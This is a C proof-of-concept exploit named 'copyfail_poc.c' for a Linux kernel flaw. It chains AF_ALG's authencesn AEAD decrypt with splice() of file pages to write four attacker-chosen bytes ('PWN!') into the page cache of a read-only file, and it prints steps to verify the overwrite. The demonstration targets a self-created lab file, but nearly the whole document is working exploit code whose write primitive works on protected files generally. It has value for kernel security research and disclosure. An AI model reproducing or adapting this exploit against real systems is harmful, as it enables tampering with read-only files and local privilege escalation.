// copyfail_poc.c
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/if_alg.h>
#include <linux/rtnetlink.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/uio.h>
#include <unistd.h>

#ifndef AF_ALG
#define AF_ALG 38
#endif

#ifndef SOL_ALG
#define SOL_ALG 279
#endif

#ifndef ALG_SET_KEY
#define ALG_SET_KEY 1
#endif

#ifndef ALG_SET_IV
#define ALG_SET_IV 2
#endif

#ifndef ALG_SET_OP
#define ALG_SET_OP 3
#endif

#ifndef ALG_SET_AEAD_ASSOCLEN
#define ALG_SET_AEAD_ASSOCLEN 4
#endif

#ifndef ALG_OP_DECRYPT
#define ALG_OP_DECRYPT 0
#endif

#ifndef ALG_SET_AEAD_AUTHSIZE
#define ALG_SET_AEAD_AUTHSIZE 5
#endif

enum {
    CRYPTO_AUTHENC_KEYA_UNSPEC,
    CRYPTO_AUTHENC_KEYA_PARAM,
};

struct crypto_authenc_key_param {
    uint32_t enckeylen;
};

struct af_alg_iv_custom {
    uint32_t ivlen;
    uint8_t iv[16];
};

static void die(const char *msg)
{
    if (!strcmp(msg, "bind(AF_ALG)") && errno == ENOENT) {
        fprintf(stderr,
                "[!] AF_ALG could not resolve authencesn(hmac(sha256),cbc(aes)).\n"
                "[!] Check /proc/crypto and try: sudo modprobe authencesn\n");
    }
    perror(msg);
    exit(EXIT_FAILURE);
}

static void print_marker(const char *label, const char *path, off_t off)
{
    int fd;
    uint8_t b[4];

    fd = open(path, O_RDONLY);
    if (fd < 0)
        die("open(print marker)");

    if (pread(fd, b, sizeof(b), off) != (ssize_t)sizeof(b))
        die("pread(marker)");

    printf("%s @ 0x%llx = %02x %02x %02x %02x (%.4s)\n",
           label, (long long)off, b[0], b[1], b[2], b[3],
           (const char *)b);

    close(fd);
}

static void create_target_file(const char *path, off_t overwrite_off)
{
    int fd;
    uint8_t fill = 'A';
    uint8_t marker[4] = { 'O', 'R', 'I', 'G' };
    off_t i;

    fd = open(path, O_CREAT | O_TRUNC | O_WRONLY, 0644);
    if (fd < 0)
        die("open(create target)");

    for (i = 0; i < 0x3000; i++) {
        if (write(fd, &fill, 1) != 1)
            die("write(fill target)");
    }

    if (pwrite(fd, marker, sizeof(marker), overwrite_off) != (ssize_t)sizeof(marker))
        die("pwrite(marker)");

    /*
     * Make the baseline file contents durable first. Otherwise the
     * target page may still be dirty from file creation, and
     * drop_caches will refuse to evict it during verification.
     */
    if (fsync(fd) < 0)
        die("fsync(target)");

    if (fchmod(fd, 0444) < 0)
        die("fchmod(target)");

    close(fd);
}

static void configure_aead(int tfm_fd)
{
    unsigned int authsize = 0x10;
    struct {
        struct rtattr rta;
        struct crypto_authenc_key_param param;
        uint8_t keys[32 + 16];
    } keybuf = {
        .rta = {
            .rta_len = RTA_LENGTH(sizeof(struct crypto_authenc_key_param)),
            .rta_type = CRYPTO_AUTHENC_KEYA_PARAM,
        },
        .param = {
            .enckeylen = htonl(16),
        },
    };

    memset(keybuf.keys, 0x41, 32);
    memset(keybuf.keys + 32, 0x42, 16);

    if (setsockopt(tfm_fd, SOL_ALG, ALG_SET_KEY, &keybuf, sizeof(keybuf)) < 0)
        die("setsockopt(ALG_SET_KEY)");

    if (setsockopt(tfm_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, authsize) < 0)
        die("setsockopt(ALG_SET_AEAD_AUTHSIZE)");

    printf("[+] AEAD configured: authkey=32, enckey=16, authsize=0x%x\n",
           authsize);
}

static void queue_aad(int op_fd, const uint8_t write_value[4])
{
    uint8_t aad[8];
    uint8_t cbuf[CMSG_SPACE(sizeof(uint32_t)) +
                 CMSG_SPACE(sizeof(struct af_alg_iv_custom)) +
                 CMSG_SPACE(sizeof(uint32_t))];
    struct iovec iov;
    struct msghdr msg;
    struct cmsghdr *cmsg;
    uint32_t op = ALG_OP_DECRYPT;
    uint32_t assoclen = sizeof(aad);

    memset(aad, 'A', 4);
    memcpy(aad + 4, write_value, 4);

    iov.iov_base = aad;
    iov.iov_len = sizeof(aad);

    memset(&msg, 0, sizeof(msg));
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = cbuf;
    msg.msg_controllen = sizeof(cbuf);

    memset(cbuf, 0, sizeof(cbuf));

    cmsg = CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type = ALG_SET_OP;
    cmsg->cmsg_len = CMSG_LEN(sizeof(op));
    memcpy(CMSG_DATA(cmsg), &op, sizeof(op));

    cmsg = CMSG_NXTHDR(&msg, cmsg);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type = ALG_SET_IV;
    cmsg->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv_custom));
    {
        struct af_alg_iv_custom *iv =
            (struct af_alg_iv_custom *)CMSG_DATA(cmsg);
        iv->ivlen = 16;
        memset(iv->iv, 0x44, sizeof(iv->iv));
    }

    cmsg = CMSG_NXTHDR(&msg, cmsg);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
    cmsg->cmsg_len = CMSG_LEN(sizeof(assoclen));
    memcpy(CMSG_DATA(cmsg), &assoclen, sizeof(assoclen));

    if (sendmsg(op_fd, &msg, MSG_MORE) < 0)
        die("sendmsg(AAD)");

    printf("[+] AAD queued: assoclen=%u, AAD[4:8]=%.4s\n",
           assoclen, (const char *)write_value);
}

int main(void)
{
    const char *target = "./target.bin";
    const off_t overwrite_off = 0x1234;
    const size_t authsize = 0x10;
    const size_t splice_len = 0x20;
    off_t splice_off = overwrite_off - (splice_len - authsize);
    uint8_t write_value[4] = { 'P', 'W', 'N', '!' };
    int tfm_fd, op_fd, file_fd;
    int pipefd[2];
    uint8_t rx[0x1000];

    printf("[+] target      : %s\n", target);
    printf("[+] overwrite   : file offset 0x%llx\n", (long long)overwrite_off);
    printf("[+] splice      : offset=0x%llx len=0x%zx authsize=0x%zx\n",
           (long long)splice_off, splice_len, authsize);
    printf("[+] write value : %.4s\n", (const char *)write_value);

    /*
     * 1. Create a harmless read-only lab target.
     */
    create_target_file(target, overwrite_off);
    print_marker("[+] marker before", target, overwrite_off);

    /*
     * 2. Open AF_ALG transform socket.
     */
    tfm_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    if (tfm_fd < 0)
        die("socket(AF_ALG)");

    struct sockaddr_alg sa = {
        .salg_family = AF_ALG,
        .salg_type   = "aead",
        .salg_name   = "authencesn(hmac(sha256),cbc(aes))",
    };

    if (bind(tfm_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
        die("bind(AF_ALG)");

    printf("[+] bound AF_ALG: type=aead name=authencesn(hmac(sha256),cbc(aes))\n");

    /*
     * 3. Configure transform, then accept operation socket.
     */
    configure_aead(tfm_fd);

    op_fd = accept(tfm_fd, NULL, NULL);
    if (op_fd < 0)
        die("accept(AF_ALG)");

    printf("[+] accepted operation socket: fd=%d\n", op_fd);

    /*
     * 4. Queue attacker-controlled AAD.
     *    AAD[4:8] becomes seqno_lo, the 4-byte value to write.
     */
    queue_aad(op_fd, write_value);

    /*
     * 5. Splice target file bytes into a pipe.
     *    The selected range is [0x1224, 0x1244), so the tag region
     *    begins at 0x1234.
     */
    file_fd = open(target, O_RDONLY);
    if (file_fd < 0)
        die("open(target)");

    if (pipe(pipefd) < 0)
        die("pipe");

    if (splice(file_fd, &splice_off, pipefd[1], NULL, splice_len, 0) < 0)
        die("splice(file -> pipe)");

    printf("[+] splice(file -> pipe): 0x%zx bytes from file offset 0x%llx\n",
           splice_len, (long long)(overwrite_off - (splice_len - authsize)));

    /*
     * 6. Splice the pipe into the AF_ALG operation socket.
     *    Kernel-side: pipe_buffer -> bio_vec -> MSG_SPLICE_PAGES
     *    -> AF_ALG TX scatterlist.
     */
    if (splice(pipefd[0], NULL, op_fd, NULL, splice_len, 0) < 0)
        die("splice(pipe -> AF_ALG)");

    printf("[+] splice(pipe -> AF_ALG): 0x%zx bytes\n", splice_len);

    /*
     * 7. Trigger decrypt.
     *    Authentication is expected to fail; the scratch write is the point.
     */
    if (recv(op_fd, rx, sizeof(rx), 0) < 0)
        fprintf(stderr, "recv failed as expected: %s\n", strerror(errno));
    else
        printf("[+] recv returned data\n");

    print_marker("[+] marker after ", target, overwrite_off);
    printf("[+] verify cached bytes : xxd -g1 -s 0x1220 -l 0x40 %s\n", target);
    printf("[+] verify cache vs disk: sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'\n");
    printf("[+] then re-read        : xxd -g1 -s 0x1220 -l 0x40 %s\n", target);
    printf("[+] success signal      : ORIG -> PWN! before drop_caches, then ORIG after drop_caches\n");

    close(file_fd);
    close(pipefd[0]);
    close(pipefd[1]);
    close(op_fd);
    close(tfm_fd);

    return 0;
}